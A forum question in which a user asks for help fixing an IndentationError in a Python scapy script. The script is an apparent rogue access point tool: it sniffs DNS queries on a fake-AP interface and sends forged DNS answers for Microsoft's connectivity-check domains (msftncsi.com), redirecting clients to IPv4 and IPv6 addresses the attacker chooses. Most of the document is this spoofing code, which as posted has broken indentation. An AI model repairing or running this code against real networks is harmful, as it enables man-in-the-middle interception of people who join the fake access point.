Python error "IndentationError: expected an indented block"

Question

Hi
Can you help me to correct the following code so that I do not get IndentationError error?

my script:

http://txt.do/1f37h

from scapy.all import *
DIR=os.path.dirname(os.path.abspath(__file__))
print('Executed from '+DIR+'\n')
print('Assuming interface at0')

def FakeAccess2(pkt):
pkt=pkt[0]
    if pkt.haslayer(DNSQR):
print('Packet with DNSQR layer found.')
if pkt[DNS].qd.qtype == 1:
print('DNSQR type appears type = A')
    if 'dns' in pkt[DNS].qd.qname and 'msftncsi' in pkt[DNS].qd.qname:
    #MUST RETURN TRUE VALUE!   
    print('It appears captured DNS request requests dns.msftncsi.com') 
    spoofed_pkt = Ether(dst=pkt[Ether].src, src=pkt[Ether].dst, type=pkt[Ether].type)/\
    IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
    UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
    DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\
    an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=64, rdata='131.107.255.255'))
    del pkt[IP].chksum
    del pkt[UDP].chksum
    # replace your Fake AP interface with 'at0'
    sendp(spoofed_pkt,iface='at0')
    print('Spoofed response send:')
    spoofed_pkt.show2()

if 'www' in pkt[DNS].qd.qname and 'msftncsi' in pkt[DNS].qd.qname: 
#MUST POINT TO SERVER WITH ncsi.txt; ISTO NARED ZA IPV6
print('It appears captured DNS request requests www.msftncsi.com') 
spoofed_pkt = Ether(dst=pkt[Ether].src, src=pkt[Ether].dst, type=pkt[Ether].type)/\
IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\
# 10.0.0.254 mora bit GW nastiman za dhcp
an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=64, rdata='10.0.0.254'))
del pkt[IP].chksum
del pkt[UDP].chksum

sendp(spoofed_pkt,iface='at0')
print('Spoofed response send:')
spoofed_pkt.show2()

    else:
print('Wrong DNS.qd.qname :'+pkt[DNS].qd.qname)

if pkt[DNS].qd.qtype == 28:
print('DNSQR type appears type = AAAA')
    if 'dns' in pkt[DNS].qd.qname and 'msftncsi' in pkt[DNS].qd.qname:
    #MUST RETURN TRUE VALUE
    print('AAAA DNS request for dns.msftncsi.com found, loop works')
    spoofed_pkt = Ether(dst=pkt[Ether].src, src=pkt[Ether].dst, type=pkt[Ether].type)/\
    IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
    UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
    DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\
    an=DNSRR(rrname=pkt[DNS].qd.qname, type=28, ttl=64, rdata='fd3e:4f5a:5b81::1'))
   
    del pkt[IP].chksum
    del pkt[UDP].chksum

    sendp(spoofed_pkt,iface='at0')
    print('Spoofed response send:')
    spoofed_pkt.show2()

if 'dns' not in pkt[DNS].qd.qname and 'msftncsi' in pkt[DNS].qd.qname:
#MUST RETURN TRUE VALUE
print('AAAA DNS request for www.msftncsi.com found, loop works')
spoofed_pkt = Ether(dst=pkt[Ether].src, src=pkt[Ether].dst, type=pkt[Ether].type)/\
IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\
an=DNSRR(rrname=pkt[DNS].qd.qname, type=28, ttl=64, rdata='fe80::ea94:f6ff:fe24:d147'))
#RDATA JE IPV6 OD at0
del pkt[IP].chksum
del pkt[UDP].chksum

sendp(spoofed_pkt,iface='at0')
print('Spoofed response send:')
spoofed_pkt.show2()

    else:
print('Captured packet has no DNSQR')

print('Sniffing...')
sniff(filter='dst port 53',prn=FakeAccess2, store=0, count=0, iface='at0')